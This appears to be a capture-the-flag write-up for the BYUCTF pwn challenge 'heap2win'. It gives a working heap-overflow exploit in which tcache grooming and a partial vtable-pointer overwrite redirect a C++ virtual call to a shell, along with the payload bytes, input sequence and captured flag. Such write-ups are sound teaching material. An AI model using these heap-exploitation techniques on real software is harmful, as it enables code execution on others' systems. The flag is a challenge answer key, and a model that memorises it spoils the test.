Platform: BYUCTF Challenge: heap2win Category: Pwn Difficulty: Medium
Flag
byuctf{y34h,..._you're_a_pro}
Target
<remote-host>:1364. heap2win + main.cpp (source given).
- ELF 64-bit, non-PIE (EXEC), Full RELRO, no canary. C++ with virtual functions.
- A C++ “button” app: make
Hype/Custom/Winnerbuttons, then “push” one (a virtual call).
Bugs (from source)
class WinnerButton : public Button { // never reachable by menu (option 3 refuses)
void push() { cout<<"WINNER..."; system("/bin/sh"); }
};
class CustomButton : public Button {
char name[0x10];
CustomButton(){ scanf("%s", name); } // (1) HEAP OVERFLOW: %s into 16-byte buf
};
// pushButton: only checks choice >= count+1 -> (2) negative/zero index allowed
button_list[choice-1]->push(); // virtual call: fn = *(vptr+0x10)
The win primitive is WinnerButton::push → system("/bin/sh"). Goal: make a button’s vptr point at the WinnerButton vtable so its push() lands in system.
Vtable math
nm: vtable for WinnerButton @0x403630→ object vptr = 0x403640.- The call site does
rdx = *vptr; rdx += 0x10; call *rdx→*(0x403640+0x10) = *(0x403650) = 0x401376 = WinnerButton::push. ✓ - So writing
0x403640into a victim button’s first 8 bytes wins. Non-PIE ⇒ this address is constant.
Heap groom: the trick
HypeButton (8 B), CustomButton (0x18 B) and the small vector<Button*> arrays are all 0x20 chunks. Each push_back that grows the vector frees the old array into tcache-0x20, and the next new Button reuses it (LIFO). gdb dump confirmed allocation order ≠ address order. Exploit the reuse so a Custom button lands immediately before a live Hype button, then overflow forward into that Hype’s vptr:
- Make Hype (H0).
- Make Hype (H1), allocated fresh after H0.
- Make Custom (C).
newreuses the freed array chunk that sits right before H1, i.e.Cis adjacent and lower thanH1. C’sscanf("%s")overflows out ofnameintoH1’s vptr.
Chunk layout (per gdb): C@P, name@P+8, next chunk header at P+0x10/0x18, H1 object (vptr) at P+0x20. Distance name → H1.vptr = 0x18 = 24.
Payload
Overwrite only the low 3 bytes; scanf appends the NUL (byte 3), and H1’s original vptr (0x00403668) already has zero high bytes:
payload = b"A"*24 + b"\x40\x36\x40" # 24 pad + 0x403640 (LE, low 3 bytes)
# 0x40='@', 0x36='6' -> no whitespace, scanf reads all 27 bytes then NUL-terminates
Drive sequence (menus): make Hype, make Hype, make Custom w/ payload, push button #2 (= H1):
snd(b"1\n1\n"); snd(b"1\n1\n")
snd(b"1\n2\n" + payload + b"\n")
snd(b"2\n2\n") # H1->push() now == WinnerButton::push -> /bin/sh
snd(b"cat flag.txt\n")
>> WINNER WINNER WINNER → shell → byuctf{y34h,..._you're_a_pro}.
Takeaways
- C++ vtable hijack: overwriting an object’s vptr redirects every virtual call. With a
winmethod in another class, point the victim vptr at that class’s vtable and trigger the matching slot. Verify the slot offset from the call site (*(vptr+0x10)here). - tcache reuse drives adjacency. When victim objects and container backing-arrays share a size class, freed arrays let a later allocation slot in before an earlier object, turning a forward-only
%soverflow into a victim-vptr overwrite. Confirm layout in gdb instead of guessing. - Partial overwrite avoids null-byte problems: write only the low bytes that differ; let
scanf’s NUL terminator zero the next byte and rely on the original high bytes already being zero. - The
pushButtonnegative-index bug (choice<=0) is a second, independent path (OOBbutton_list[-k]), but the overflow was the deterministic one. - Non-PIE + a fixed
winvtable means no leak needed. The whole exploit is constants + heap shaping.
0xAdham